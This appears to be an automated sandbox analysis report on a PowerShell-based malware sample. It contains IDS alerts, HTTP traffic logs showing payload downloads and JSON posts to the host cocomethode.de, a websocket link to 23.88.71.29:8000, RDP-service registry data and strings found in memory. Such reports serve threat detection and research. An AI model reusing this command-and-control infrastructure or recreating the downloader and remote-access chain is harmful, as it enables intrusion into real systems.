2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 0d 00 0a 00 22 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e 00 22 00 3d 00 22 00 40 00 25 00 53 00 79 00 73 00 74 00 65 00 6d 00 52 00 6f 00 6f 00 74 00 25 00 5c 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 5c 00 74 00 65 00 72 00 6d 00 73 00 72 00 76 00 2e 00 64 00 6c 00 6c 00 2c 00 2d 00 32 00 36 00 37 00 22 00 0d 00 0a 00 22 00 44 00 69 00 73 00 70 00 6c 00 61 00 79 00 4e 00 61 00 6d 00 65 00 22 00 3d 00 22 00 40 00 25 00 53 00 79 00 73 00 74 00 65 00 6d 00 52 00 6f 00 6f 00 74 00 25 00 5c 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 5c 00 74 00 65 00 72 00 6d 00 73 00 72 00 76 00 2e 00 64 00 6c 00 6c 00 2c 00 2d 00 32 00 36 00 38 00 22 00 0d 00 0a 00 22 00 45 00 72 00 72 00 6f 00 72 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 22 00 3d 00 64 00 77 00 6f 00 72 00 64 00 3a 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 31 00 0d 00 0a 00 22 00 46 00 61 00 69 00 6c 00 75 00 72 00 65 00 41 00 63 00 74 00 69 00 6f 00 6e 00 73 00 22 00 3d 00 68 00 65 00 78 00 3a 00 38 00 30 00 2c 00 35 00 31 00 2c 00 30 00 31 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 33 00

Source: Joe Sandbox View	IP Address: 23.88.71.29 23.88.71.29
Source: Joe Sandbox View	IP Address: 172.67.128.139 172.67.128.139

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.20:49744 -> 172.67.128.139:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.20:49740 -> 172.67.128.139:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.20:49742 -> 172.67.128.139:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.20:49757 -> 172.67.128.139:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.20:49763 -> 172.67.128.139:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.20:49768 -> 172.67.128.139:443

Source: global traffic	HTTP traffic detected: GET /Zd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file3/873ce3957d5a52b126e489a7be00fe0d36246171918182ebc53aea442d8cc4681e33dcadc494ef7b10813af76bf343da6dd0c11bbafd53f9d40c4534b314e17178a5f9839114b731c4ae608c27f3e23b544cc7edefd58334b3e8215446329673/Windows%20Defender/16/16/user/193 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae5c01e61a69043ec64a29656e39e6e0b HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 303
Source: global traffic	HTTP traffic detected: GET /file2/1bca4c734b4173186ced83141684d6931c1b339cc16a8c5dcf14200f847129d1c5737fab88aed1e524947c7d7da0a49b79eba95c8974ec0965a6388d4670ad3805f9a4db0deeddff6eb926ed1fea3ff5b5bc3eb9f9af6cbd9d19e099214ca2c695d2ebc2eecb14e0349f34ea28f5372e HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae6d8d447eefbc078c119c5da54d097ff HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 303
Source: global traffic	HTTP traffic detected: GET /file2/53b817c6b403fde911a13359ad852a809b72c3a61c9d33030bf0e4130708dbe3ee1fcd85082d15ea7c027b4749aea8867e3e247bd648d250a09153f5a9051f7fcec7ff2ad6088be998d837733babb1d81d0bf712c8881e6fc53dd0663bdd97b4ba27bb02ac3546087195d7a35ff4f222 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bacd29b28e3e20f4420e48c95972afcef6 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 85
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bacd29b28e3e20f4420e48c95972afcef6 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 86
Source: global traffic	HTTP traffic detected: GET /file2/d46efe1d23678ba9d4ecd017493c103a4e1a37d96d59b89e6acdf96bc49b073190f78c9aa29bce71057a1ce039860e7c69eeb0ef1320f1ed0c8150f1948c2ed6bd2e64238c34031fa4510c3f5cb56f2ddedd92af0607a2d92432a03063f1e11b066993a54f1321da127eb7fbaee23c8f HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bacd29b28e3e20f4420e48c95972afcef6 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 62
Source: global traffic	HTTP traffic detected: GET /file2/8a84c3609323de6cd9c25a1851d0dcd8a2f3b09776bf8e7d4d6402a6720c1add89a23d5ed12e05cf2f53d7b015e76bd5b82239987c049defb9be7775f0b50e130d8dbede4588a06e0bb0568bc9dc5a959058d1b98732bb8da4c07dbb567f93f3706dd62fd21f5eae172d5026cdd5279f HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a80c45020b00110eac9c HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 140
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a80c45020b00110eac9c HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 69
Source: global traffic	HTTP traffic detected: GET /file2/30bb492ec87899a2b4a8fa5c9eeec469631d83b6fb1545c37afc33eb58d196c823652f529529d9c5cc3350ab521dfddbe2a77c01bd1692f0dae16e5e78590d23aa42283bc9f003b0925ef770ce3dbb430044380316b396c72e0dbe931d81c382 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a80c45020b00110eac9c HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 200
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a80c45020b00110eac9c HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 97
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a80c45020b00110eac9c HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 64

Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /Zd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file3/873ce3957d5a52b126e489a7be00fe0d36246171918182ebc53aea442d8cc4681e33dcadc494ef7b10813af76bf343da6dd0c11bbafd53f9d40c4534b314e17178a5f9839114b731c4ae608c27f3e23b544cc7edefd58334b3e8215446329673/Windows%20Defender/16/16/user/193 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /file2/1bca4c734b4173186ced83141684d6931c1b339cc16a8c5dcf14200f847129d1c5737fab88aed1e524947c7d7da0a49b79eba95c8974ec0965a6388d4670ad3805f9a4db0deeddff6eb926ed1fea3ff5b5bc3eb9f9af6cbd9d19e099214ca2c695d2ebc2eecb14e0349f34ea28f5372e HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /file2/53b817c6b403fde911a13359ad852a809b72c3a61c9d33030bf0e4130708dbe3ee1fcd85082d15ea7c027b4749aea8867e3e247bd648d250a09153f5a9051f7fcec7ff2ad6088be998d837733babb1d81d0bf712c8881e6fc53dd0663bdd97b4ba27bb02ac3546087195d7a35ff4f222 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /file2/d46efe1d23678ba9d4ecd017493c103a4e1a37d96d59b89e6acdf96bc49b073190f78c9aa29bce71057a1ce039860e7c69eeb0ef1320f1ed0c8150f1948c2ed6bd2e64238c34031fa4510c3f5cb56f2ddedd92af0607a2d92432a03063f1e11b066993a54f1321da127eb7fbaee23c8f HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file2/8a84c3609323de6cd9c25a1851d0dcd8a2f3b09776bf8e7d4d6402a6720c1add89a23d5ed12e05cf2f53d7b015e76bd5b82239987c049defb9be7775f0b50e130d8dbede4588a06e0bb0568bc9dc5a959058d1b98732bb8da4c07dbb567f93f3706dd62fd21f5eae172d5026cdd5279f HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file2/30bb492ec87899a2b4a8fa5c9eeec469631d83b6fb1545c37afc33eb58d196c823652f529529d9c5cc3350ab521dfddbe2a77c01bd1692f0dae16e5e78590d23aa42283bc9f003b0925ef770ce3dbb430044380316b396c72e0dbe931d81c382 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /StaticFile/RdpService/38 HTTP/1.1Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /StaticFile/TermServiceTryRun/77 HTTP/1.1Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /api/check HTTP/1.1Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /client/ws HTTP/1.1Host: 23.88.71.29:8000Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: zn3NUJR5OUOkcJwXn0ptwA==Sec-WebSocket-Version: 13

Source: global traffic

DNS traffic detected: DNS query: cocomethode.de

Source: unknown

HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae5c01e61a69043ec64a29656e39e6e0b HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 303

Source: powershell.exe, 0000000C.00000002.4814981767.000001C03383E000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5367418387.0000026468346000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5375048755.00007FF64743B000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://.css
Source: powershell.exe, 0000000C.00000002.4814981767.000001C03383E000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5367418387.0000026468346000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5375048755.00007FF64743B000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://.jpg
Source: svchost.exe, 00000012.00000002.5365931182.000001B555B13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS%3C/ds:KeyName%3E
Source: powershell.exe, 00000003.00000002.4109159534.000001BAC4FB8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.00000279129C3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4347645237.000001C0248E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cocomethode.de
Source: svczHost.exe, 00000014.00000002.5365455806.00000264670A8000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5365455806.00000264670AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cocomethode.de:443/
Source: powershell.exe, 00000002.00000002.3898320173.000001A0EBC48000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4206777413.000001BADACD0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4041179833.0000027929E4A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4891586599.000001C03AE0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5367966996.000001B556A24000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5363571234.0000026463B1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 00000002.00000002.3898107681.000001A0EBC10000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4206777413.000001BADACD0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4041179833.0000027929E4A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4891586599.000001C03AE0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5367865972.000001B556A13000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5363571234.0000026463B1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000007.00000002.4043091425.000002792A308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: powershell.exe, 0000000C.00000002.4911409415.000001C03C1F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mic
Source: powershell.exe, 0000000C.00000002.4898775134.000001C03B0E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micros
Source: powershell.exe, 00000007.00000002.4043091425.000002792A2E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsof
Source: powershell.exe, 00000007.00000002.4043091425.000002792A2E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsofa
Source: powershell.exe, 00000002.00000002.3899389741.000001A0EBF1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft.c
Source: svchost.exe, 00000012.00000002.5367865972.000001B556A13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000012.00000002.5366378229.000001B556300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5366634600.000001B556311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: svchost.exe, 00000012.00000002.5365368942.000001B555AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: powershell.exe, 0000000C.00000002.4814981767.000001C03383E000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5367418387.0000026468346000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5375048755.00007FF64743B000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: powershell.exe, 00000002.00000002.3895073118.000001A0E3B81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3895073118.000001A0E3CB8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3880486051.000001A0D4FF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4198168194.000001BAD2EB9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4198168194.000001BAD2D25000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.0000027913359000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4035721658.0000027921D86000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4814981767.000001C032E27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: svchost.exe, 00000012.00000002.5364380357.000001B555A7D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364276192.000001B555A5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://passport.net/tb
Source: powershell.exe, 00000007.00000002.4000632893.00000279131E3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4347645237.000001C022FDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.3880486051.000001A0D3D2C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4109159534.000001BAC2EDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4109159534.000001BAC2F95000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.0000027911F79000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4347645237.000001C022FDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.pngXz
Source: powershell.exe, 00000002.00000002.3880486051.000001A0D4E80000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3880486051.000001A0D4E9F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.000002791320F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.00000279131E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.pngh
Source: powershell.exe, 00000007.00000002.4046461207.000002792A7DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.o#
Source: powershell.exe, 00000007.00000002.4046461207.000002792A7DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.openxml
Source: powershell.exe, 00000007.00000002.4000632893.0000027912BDA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.0000027911F79000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4347645237.000001C02332E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: svchost.exe, 00000012.00000002.5366821786.000001B556337000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: svchost.exe, 00000012.00000002.5367119107.000001B55636D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4067023578.000001B556352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5366938746.000001B556353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: svchost.exe, 00000012.00000002.5366704450.000001B556313000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policyet
Source: svchost.exe, 00000012.00000002.5366704450.000001B556313000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policyrf
Source: svchost.exe, 00000012.00000002.5367119107.000001B55636D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4067023578.000001B556352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5366938746.000001B556353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: svchost.exe, 00000012.00000002.5366704450.000001B556313000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/scin
Source: svchost.exe, 00000012.00000002.5366704450.000001B556313000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/scions
Source: svchost.exe, 00000012.00000002.5366704450.000001B556313000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5366821786.000001B556337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5367119107.000001B55636D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4067023578.000001B556352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5366938746.000001B556353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: svchost.exe, 00000012.00000002.5367119107.000001B55636D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: svchost.exe, 00000012.00000002.5366704450.000001B556313000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trustcom
Source: svczHost.exe, myRdpService.exe	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid
Source: powershell.exe, 0000000C.00000002.4814981767.000001C03383E000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5367418387.0000026468346000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5375048755.00007FF64743B000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidY
Source: powershell.exe, 00000002.00000002.3880486051.000001A0D3B01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4109159534.000001BAC2CB1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.0000027911D11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4347645237.000001C022DB1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4814981767.000001C03383E000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000014.00000002.5367418387.0000026468346000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5375048755.00007FF64743B000.00000002.00000001.01000000.00000009.sdmp, myRdpService.exe	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000007.00000002.4000632893.0000027912BDA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.0000027911F79000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4347645237.000001C02332E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000007.00000002.4000632893.0000027913115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000007.00000002.4000632893.00000279131E3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4347645237.000001C022FDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.3880486051.000001A0D3D2C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4109159534.000001BAC2EDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4109159534.000001BAC2F95000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.0000027911F79000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4347645237.000001C022FDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.htmlXz
Source: powershell.exe, 00000002.00000002.3880486051.000001A0D4E80000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3880486051.000001A0D4E9F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.000002791320F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.00000279131E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.htmlh
Source: myRdpService.exe	String found in binary or memory: http://www.gstatic.com/generate_204
Source: svczHost.exe, 00000014.00000002.5367418387.0000026468346000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.gstatic.com/generate_204y
